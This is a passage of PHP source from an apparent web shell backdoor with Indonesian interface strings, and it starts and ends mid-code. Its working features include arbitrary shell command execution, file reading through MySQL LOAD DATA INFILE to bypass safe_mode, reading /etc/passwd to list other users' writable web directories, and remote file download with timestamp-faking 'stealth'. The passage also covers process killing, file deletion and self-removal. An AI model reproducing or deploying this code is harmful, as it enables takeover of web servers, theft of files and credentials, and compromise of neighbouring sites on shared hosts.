echo "<td><b>".view_size($tsize)."</b></td>";
echo "<td></td>";
echo "</tr>";
echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_x\">";
echo "<option value=\"\">With selected:</option>";
echo "<option value=\"tbldrop\">Drop</option>";
echo "<option value=\"tblempty\">Empty</option>";
echo "<option value=\"tbldump\">Dump</option>";
echo "<option value=\"tblcheck\">Check table</option>";
echo "<option value=\"tbloptimize\">Optimize table</option>";
echo "<option value=\"tblrepair\">Repair table</option>";
echo "<option value=\"tblanalyze\">Analyze table</option>";
echo "</select> <input type=\"submit\" value=\"Confirm\"></form></p>";
mysql_free_result($result);
}
}
}
}
}
else {
$acts = array("","newdb","serverstatus","servervars","processes","getfile");
if (in_array($sql_x,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20"> <input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="x" value="sql"><input type="hidden" name="sql_x" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>"> <input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
if (!empty($sql_x)) {
echo "<hr size=\"1\" noshade>";
if ($sql_x == "newdb") {
echo "<b>";
if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
}
if ($sql_x == "serverstatus") {
$result = mysql_query("SHOW STATUS", $sql_sock);
echo "<center><b>Server-status variables:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#e17b02 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table></center>";
mysql_free_result($result);
}
if ($sql_x == "servervars") {
$result = mysql_query("SHOW VARIABLES", $sql_sock);
echo "<center><b>Server variables:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#e17b02 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
echo "</table>";
mysql_free_result($result);
}
if ($sql_x == "processes") {
if (!empty($kill)) {
$query = "KILL ".$kill.";";
$result = mysql_query($query, $sql_sock);
echo "<b>Process #".$kill." was killed.</b>";
}
$result = mysql_query("SHOW PROCESSLIST", $sql_sock);
echo "<center><b>Processes:</b><br><br>";
echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#e17b02 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_x=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
echo "</table>";
mysql_free_result($result);
}
if ($sql_x == "getfile")
{
$tmpdb = $sql_login."_tmpdb";
$select = mysql_select_db($tmpdb);
if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
if ($select)
{
$created = FALSE;
mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
$result = mysql_query("SELECT * FROM tmp_file;");
if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
else
{
for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
$f = "";
while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("
",$row);}
if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
mysql_free_result($result);
mysql_query("DROP TABLE tmp_file;");
}
}
mysql_drop_db($tmpdb);
}
}
}
}
echo "</td></tr></table>";
if ($sql_sock) {
$affected = @mysql_affected_rows($sql_sock);
if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>";
}
echo "</table>";
}
?>
<center></center><?php
error_reporting(0);
@set_time_limit(0);
if ($x == 'findwr') {
$count=0;
set_time_limit(0);
@$passwd=fopen('/etc/passwd','r');
if (!$passwd) {
echo "[-] Kamar SebelahNya Kosong";
exit;
}
$path_to_public=array();
echo "<html>
";
while(!feof($passwd)) {
$str=fgets($passwd);
$pos=strpos($str,":");
$username=substr($str,0,$pos);
$dirz="/home/$username/public_html/";
if (($username!="")) {
if (is_readable($dirz)) {
array_push($path_to_public,$dirz);
if (is_writeable($dirz)) {
$count++;
echo "<font color=red>[</font><font color=white>R</font><font color=green>W</font><font color=red>]</font> " . $dirz . "<br>
";
}
else echo "<font color=red>[</font><font color=white>R</font><font color=red>]</font> " . $dirz . "<br>
";
}
}
}
echo "[+] Pencarian 100% Sukses - Ada " . sizeof($path_to_public) . " Kamar yang dihuni di
" .gethostbyname($_SERVER["HTTP_HOST"]);
if (sizeof($path_to_public) != '0') {
foreach ($path_to_public as $path) {
read_dir($path);
}
echo "[+] Found " . $count . " writable directories.
";
echo "</html>";
}
function read_dir($path) {
global $count;
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
$dr="$path$file/";
if (($file!='.') and ($file!='..') and is_dir($dr)) {
if (is_readable($dr) and is_writeable($dr)) {
echo "[RW] " . $dr . "<br>
";
$count++;
}
read_dir($dr);
}
}
}
}
}
if ($x == "selfremove") {
if (($submit == $rndcode) and ($submit != "")) {
if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using fx0!"; capriv8exit(); }
else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";}
}
else {
if (!empty($rndcode)) {echo "<b>Salah Memasukan Kode Confirmasi !.</b>";}
$rnd = rand(0,9).rand(0,9).rand(0,9);
echo "<form action=\"".$surl."\"><input type=hidden name=x value=selfremove><b>Self-remove: ".__FILE__." <br><b>Are you sure?<br>For confirmation, enter \"".$rnd."\"</b>: <input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit> <input type=submit value=\"YES\"></form>";
}
}
?>
<?
if ($x == "chmod") {
$mode = fileperms($d.$f);
if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";}
else {
$form = TRUE;
if ($chmod_submit)
{
$octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8);
if (chmod($d.$f,$octet)) {$x = "ls"; $form = FALSE; $err = "";}
else {$err = "Can't chmod to ".$octet.".";}
}
if ($form)
{
$perms = parse_perms($mode);
echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=x value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"")."> Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"")."> Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"")."> Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>";
}
}
}
if ($x == "upload") {
$uploadmess = "";
$uploadpath = str_replace("\",DIRECTORY_SEPARATOR,$uploadpath);
if (empty($uploadpath)) {$uploadpath = $d;}
elseif (substr($uploadpath,-1) != DIRECTORY_SEPARATOR) {$uploadpath .= DIRECTORY_SEPARATOR;}
if (!empty($submit)) {
global $_FILES;
$uploadfile = $_FILES["uploadfile"];
if (!empty($uploadfile["tmp_name"])) {
if (empty($uploadfilename)) {$destin = $uploadfile["name"];}
else {$destin = $userfilename;}
if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {
$uploadmess .= "Error uploading file ".$uploadfile["name"]." (can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\"!<br>";
}
else { $uploadmess .= "File uploaded successfully!<br>".$uploadpath.$destin; }
}
elseif (!empty($uploadurl)) {
if (!empty($uploadfilename)) {$destin = $uploadfilename;}
else {
$destin = explode("/",$destin);
$destin = $destin[count($destin)-1];
if (empty($destin)) {
$i = 0;
$b = "";
while(file_exists($uploadpath.$destin)) {
if ($i > 0) {$b = "_".$i;}
$destin = "upload".$b;
$i++;
}
}
}
if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorrect URL!</b>";}
else {
$st = getmicrotime();
$content = @file_get_contents($uploadurl);
$dt = round(getmicrotime()-$st,4);
if (!$content) {$uploadmess .= "Can't download file!";}
else {
if ($filestealth) {$stat = stat($uploadpath.$destin);}
$fp = fopen($uploadpath.$destin,"w");
if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";}
else {
fwrite($fp,$content,strlen($content));
fclose($fp);
if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
$uploadmess .= "File saved from ".$uploadurl." !";
}
}
}
}
else { echo "No file to upload!"; }
}
if ($miniform) {
echo "<b>".$uploadmess."</b>";
$x = "ls";
}
else {
echo "<table><tr><td colspan=2 class=barheader>".
".: File Upload :.</td>".
"<td colspan=2>".$uploadmess."</td></tr>".
"<tr><td><form enctype=\"multipart/form-data\" action=\"".$surl."x=upload&d=".urlencode($d)."\" method=POST>".
"From Your Computer:</td><td><input name=\"uploadfile\" type=\"file\"></td></tr>".
"<tr><td>From URL:</td><td><input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"></td></tr>".
"<tr><td>Target Directory:</td><td><input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"></td></tr>".
"<tr><td>Target File Name:</td><td><input name=uploadfilename size=25></td></tr>".
"<tr><td></td><td><input type=checkbox name=uploadautoname value=1 id=df4> Convert file name to lowercase</td></tr>".
"<tr><td></td><td><input type=submit name=submit value=\"Upload\">".
"</form></td></tr></table>";
}
}
if ($x == "delete") {
$delerr = "";
foreach ($actbox as $v) {
$result = FALSE;
$result = fs_rmobj($v);
if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";}
}
if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;}
$x = "ls";
}
if (!$usefsbuff) {
if (($x == "paste") or ($x == "copy") or ($x == "cut") or ($x == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$usefsbuff\" as TRUE.</center>";}
}
else {
if ($x == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ca_sess_put($sess_data); $x = "ls"; }
elseif ($x == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ca_sess_put($sess_data); $x = "ls";}
elseif ($x == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} ca_sess_put($sess_data); $x = "ls";}
if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ca_sess_put($sess_data);}
elseif ($actpastebuff) {
$psterr = "";
foreach($sess_data["copy"] as $k=>$v) {
$to = $d.basename($v);
if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v) {
$to = $d.basename($v);
if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
ca_sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
$x = "ls";
}
elseif ($actarcbuff) {
$arcerr = "";
if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
else {$ext = ".tar.gz";}
if ($ext == ".tar.gz") {$cmdline = "tar cfzv";}
$cmdline .= " ".$actarcbuff_path;
$objects = array_merge($sess_data["copy"],$sess_data["cut"]);
foreach($objects as $v) {
$v = str_replace("\",DIRECTORY_SEPARATOR,$v);
if (substr($v,0,strlen($d)) == $d) {$v = basename($v);}
if (is_dir($v)) {
if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;}
$v .= "*";
}
$cmdline .= " ".$v;
}
$tmp = realpath(".");
chdir($d);
$ret = myshellexec($cmdline);
chdir($tmp);
if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";}
$ret = str_replace("
","
",$ret);
$ret = explode("
",$ret);
if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
foreach($sess_data["cut"] as $k=>$v) {
if (in_array($v,$ret)) {fs_rmobj($v);}
unset($sess_data["cut"][$k]);
}
ca_sess_put($sess_data);
if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;}
$x = "ls";
}
elseif ($actpastebuff) {
$psterr = "";
foreach($sess_data["copy"] as $k=>$v) {
$to = $d.basename($v);
if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";}
if ($copy_unset) {unset($sess_data["copy"][$k]);}
}
foreach($sess_data["cut"] as $k=>$v) {
$to = $d.basename($v);
if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";}
unset($sess_data["cut"][$k]);
}
ca_sess_put($sess_data);
if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;}
$x = "ls";
}
}
if ($x == "cmd") {
@chdir($chdir);
if (!empty($submit)) {
echo "<div class=barheader>.: Result of Command Execution :.</div>";
$olddir = realpath(".");
@chdir($d);
$ret = myshellexec($cmd);
$ret = convert_cyr_string($ret,"d","w");
if ($cmd_txt) {
$rows = count(explode("
",$ret))+1;
if ($rows < 10) {$rows = 10; }
if ($msie) { $cols = 113; }
else { $cols = 117;}
echo "<div align=left><pre>".htmlspecialchars($ret)."</pre></div>";
}
else {echo $ret."<br>";}
@chdir($olddir);
}
else {
echo "<b>Command Execution</b>";
if (empty($cmd_txt)) {$cmd_txt = TRUE;}
}
}
if ($x == "ls") {
if (count($ls_arr) > 0) { $list = $ls_arr; }
else {
$list = array();
if ($h = @opendir($d)) {
while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;}
closedir($h);
}
}
if (count($list) == 0) { echo "<div class=fxerrmsg>Can't open folder (".htmlspecialchars($d).")!</div>";}
else {
$objects = array();
$vd = "f";
if ($vd == "f") {
$objects["head"] = array();
$objects["folders"] = array();
$objects["links"] = array();
$objects["files"] = array();
foreach ($list as $v) {
$o = basename($v);
$row = array();
if ($o == ".") {$row[] = $d.$o; $row[] = "CURDIR";}
elseif ($o == "..") {$row[] = $d.$o; $row[] = "UPDIR";}
elseif (is_dir($v)) {
if (is_link($v)) {$type = "LINK";}
else {$type = "DIR";}
$row[] = $v;
$row[] = $type;
}
elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);}
$row[] = filemtime($v);
if (!$win) {
$ow = posix_getpwuid(fileowner($v));
$gr = posix_getgrgid(filegroup($v));
$row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v));
}
$row[] = fileperms($v);
if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;}
elseif (is_link($v)) {$objects["links"][] = $row;}
elseif (is_dir($v)) {$objects["folders"][] = $row;}
elseif (is_file($v)) {$objects["files"][] = $row;}
$i++;
}
$row = array();
$row[] = "<b>Name</b>";
$row[] = "<b>Size</b>";
$row[] = "<b>Date Modified</b>";
if (!$win) {$row[] = "<b>Owner/Group</b>";}
$row[] = "<b>Perms</b>";
$row[] = "<b>Action</b>";
$parsesort = parsesort($sort);
$sort = $parsesort[0].$parsesort[1];
$k = $parsesort[0];
if ($parsesort[1] != "a") {$parsesort[1] = "d";}
$y = " <a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">";
$y .= "<img src=\"".$surl."x=img&img=sort_".($sort[1] == "a"?"asc":"desc")."\" height=\"9\" width=\"14\" alt=\"".($parsesort[1] == "a"?"Asc.":"Desc")."\" border=\"0\"></a>";
$row[$k] .= $y;
for($i=0;$i<count($row)-1;$i++) {
if ($i != $k) {$row[$i] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";}
}
$v = $parsesort[0];
usort($objects["folders"], "tabsort");
usort($objects["links"], "tabsort");
usort($objects["files"], "tabsort");
if ($parsesort[1] == "d") {
$objects["folders"] = array_reverse($objects["folders"]);
$objects["files"] = array_reverse($objects["files"]);
}
$objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]);
$tab = array();
$tab["cols"] = array($row);
$tab["head"] = array();
$tab["folders"] = array();
$tab["links"] = array();
$tab["files"] = array();
$i = 0;
foreach ($objects as $a) {
$v = $a[0];
$o = basename($v);
$dir = dirname($v);
if ($disp_fullpath) {$disppath = $v;}
else {$disppath = $o;}
$disppath = str2mini($disppath,60);
if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";}
elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";}
foreach ($regxp_highlight as $r) {
if (ereg($r[0],$o)) {
if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; capriv8exit();}
else {
$r[1] = round($r[1]);
$isdir = is_dir($v);
if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) {
if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";}
$disppath = $r[2].$disppath.$r[3];
if ($r[4]) {break;}
}
}
}
}
$uo = urlencode($o);
$ud = urlencode($dir);
$uv = urlencode($v);
$row = array();
if ($o == ".") {
$row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\"> ".$o."</a>";
$row[] = "CURDIR";
}
elseif ($o == "..") {
$row[] = "<a href=\"".$surl."x=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\"> ".$o."</a>";
$row[] = "UPDIR";
}
elseif (is_dir($v)) {
if (is_link($v)) {
$disppath .= " => ".readlink($v);
$type = "LINK";
$row[] = "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=ext_lnk\" border=\"0\"> [".$disppath."]</a>";
}
else {
$type = "DIR";
$row[] = "<a href=\"".$surl."x=ls&d=".$uv."&sort=".$sort."\"><img src=\"".$surl."x=img&img=small_dir\" border=\"0\"> [".$disppath."]</a>";
}
$row[] = $type;
}
elseif(is_file($v)) {
$ext = explode(".",$o);
$c = count($ext)-1;
$ext = $ext[$c];
$ext = strtolower($ext);
$row[] = "<a href=\"".$surl."x=f&f=".$uo."&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_".$ext."\" border=\"0\"> ".$disppath."</a>";
$row[] = view_size($a[1]);
}
$row[] = date("d.m.Y H:i:s",$a[2]);
if (!$win) {$row[] = $a[3];}
$row[] = "<a href=\"".$surl."x=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>";
if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;}
else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";}
if (is_dir($v)) {$row[] = "<a href=\"".$surl."x=d&d=".$uv."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" border=\"0\"></a> ".$checkbox;}
else {$row[] = "<a href=\"".$surl."x=f&f=".$uo."&ft=info&d=".$ud."\"><img src=\"".$surl."x=img&img=ext_diz\" alt=\"Info\" height=\"16\" width=\"16\" border=\"0\"></a> <a href=\"".$surl."x=f&f=".$uo."&ft=edit&d=".$ud."\"><img src=\"".$surl."x=img&img=change\" alt=\"Change\" height=\"16\" width=\"19\" border=\"0\"></a> <a href=\"".$surl."x=f&f=".$uo."&ft=download&d=".$ud."\"><img src=\"".$surl."x=img&img=download\" alt=\"Download\" border=\"0\"></a> ".$checkbox;}
if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;}
elseif (is_link($v)) {$tab["links"][] = $row;}
elseif (is_dir($v)) {$tab["folders"][] = $row;}
elseif (is_file($v)) {$tab["files"][] = $row;}
$i++;
}
}
$table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]);
echo "</br>";
echo "<h2>StealHealth B3cak Lompat | ";
if (!empty($fx_infohead)) { echo $fx_infohead; }
else { echo "Jumlah File / Folder ( ".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folder )"; }
echo " | !ndonesia Tercinta</h2></br>";
echo "<form action=\"".$surl."\" method=POST name=\"ls_form\"><input type=hidden name=x value=\"".$dspact."\"><input type=hidden name=d value=".$d.">".
"<table class=explorer>";
foreach($table as $row) {
echo "<tr>";
foreach($row as $v) {echo "<td>".$v."</td>";}
echo "</tr>
";
}
echo "</table>".
"<script>".
"function ls_setcheckboxall(status) {".
" var id = 1; var num = ".(count($table)-2).";".
" while (id <= num) { document.getElementById('actbox'+id).checked = status; id++; }".
"}".
"function ls_reverse_all() {".
" var id = 1; var num = ".(count($table)-2).";".
" while (id <= num) { document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; id++; }".
"}".
"</script>".
"<div align=\"right\">".
"<input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\"> <input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\">".
"<img src=\"".$surl."x=img&img=arrow_ltr\" border=\"0\">";
if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) {
echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\"> <input type=\"text\" name=\"actarcbuff_path\" value=\"fx_archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\"> <input type=submit name=\"actpastebuff\" value=\"Paste\"> <input type=submit name=\"actemptybuff\" value=\"Empty buffer\"> ";
}
echo "<select name=x><option value=\"".$x."\">With selected:</option>";
echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>";
echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>";
if ($usefsbuff) {
echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>";
echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>";
echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>";
}
echo "</select> <input type=submit value=\"Confirm\"></div>";
echo "</form>";
}
}
if ($x == "phpfsys") {
echo "<div align=left>";
$fsfunc = $phpfsysfunc;
if ($fsfunc=="copy") {
if (!copy($arg1, $arg2)) { echo "Failed to copy $arg1...
";}
else { echo "<b>Success!</b> $arg1 copied to $arg2
"; }
}
elseif ($fsfunc=="rename") {
if (!rename($arg1, $arg2)) { echo "Failed to rename/move $arg1!
";}
else { echo "<b>Success!</b> $arg1 renamed/moved to $arg2
"; }
}
elseif ($fsfunc=="chmod") {
if (!chmod($arg1,$arg2)) { echo "Failed to chmod $arg1!
";}
else { echo "<b>Perm for $arg1 changed to $arg2!</b>
"; }
}
elseif ($fsfunc=="read") {
$hasil = @file_get_contents($arg1);
echo "<b>Filename:</b> $arg1<br>";
echo "<textarea cols=150 rows=20>";
echo $hasil;
echo "</textarea>
";
}
elseif ($fsfunc=="write") {
if(@file_put_contents($d.$arg1,$arg2)) {
echo "<b>Saved!</b> ".$d.$arg1;
}
else { echo "<div class=fxerrmsg>Couldn't write to $arg1!</div>"; }
}
elseif ($fsfunc=="downloadbin") {
$handle = fopen($arg1, "rb");
$contents = '';
while (!feof($handle)) {
$contents .= fread($handle, 8192);
}
$r = @fopen($d.$arg2,'w');
if (fwrite($r,$contents)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
fclose($r);
fclose($handle);
}
elseif ($fsfunc=="download") {
$text = implode('', file($arg1));
if ($text) {
$r = @fopen($d.$arg2,'w');
if (fwrite($r,$text)) { echo "<b>Success!</b> $arg1 saved to ".$d.$arg2." (".view_size(filesize($d.$arg2)).")"; }
else { echo "<div class=fxerrmsg>Couldn't write to ".$d.$arg2."!</div>"; }
fclose($r);
}
else { echo "<div class=fxerrmsg>Couldn't download from $arg1!</div>";}
}
elseif ($fsfunc=='mkdir') {
$thedir = $d.$arg1;
if ($thedir != $d) {
if (file_exists($thedir)) { echo "<b>Already exists:</b> ".htmlspecialchars($thedir); }
elseif (!mkdir($thedir)) { echo "<b>Access denied:</b> ".htmlspecialchars($thedir); }
else { echo "<b>Dir created:</b> ".htmlspecialchars($thedir);}
}
else { echo "Couldn't create current dir:<b> $thedir</b>"; }
}
elseif ($fsfunc=='fwritabledir') {
function recurse_dir($dir,$max_dir) {
global $dir_count;
$dir_count++;
if( $cdir = @dir($dir) ) {
while( $entry = $cdir-> read() ) {
if( $entry != '.' && $entry != '..' ) {
if(is_dir($dir.$entry) && is_writable($dir.$entry) ) {
if ($dir_count > $max_dir) { return; }
echo "[".$dir_count."] ".$dir.$entry."
";
recurse_dir($dir.$entry.DIRECTORY_SEPARATOR,$max_dir);
}
}
}
$cdir->close();
}
}
if (!$arg1) { $arg1 = $d; }
if (!$arg2) { $arg2 = 10; }
echo "<b>Writable directories (Max: $arg2) in:</b> $arg1<br>";
echo "<pre>";
recurse_dir($arg1,$arg2);
echo "</pre>";
$total = $dir_count - 1;
echo "<b>Founds:</b> ".$total." of <b>Max</b> $arg2";
}
else {
if (!$arg1) { echo "<div class=fxerrmsg>No operation! Please fill parameter [A]!</div>
"; }
else {
if ($hasil = $fsfunc($arg1)) {
echo "<b>Result of $fsfunc $arg1:</b><br>";
if (!is_array($hasil)) { echo "$hasil
"; }
else {
echo "<pre>";
foreach ($hasil as $v) { echo $v."
"; }
echo "</pre>";
}
}
else { echo "<div class=fxerrmsg>$fsfunc $arg1 failed!</div>
"; }
}
}
echo "</div>
";
}
if ($x == "processes") {
echo "<div class=barheader>.: Processes :.</div>";
if (!$win) { $handler = "ps -aux".($grep?" | grep '".addslashes($grep)."'":""); }
else { $handler = "tasklist"; }
$ret = myshellexec($handler);
if (!$ret) { echo "Can't execute \"".$handler."\"!"; }
else {
if (empty($processes_sort)) {$processes_sort = $sort_default;}
$parsesort = parsesort($processes_sort);
if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;}
$k = $parsesort[0];
if ($parsesort[1] != "a") {
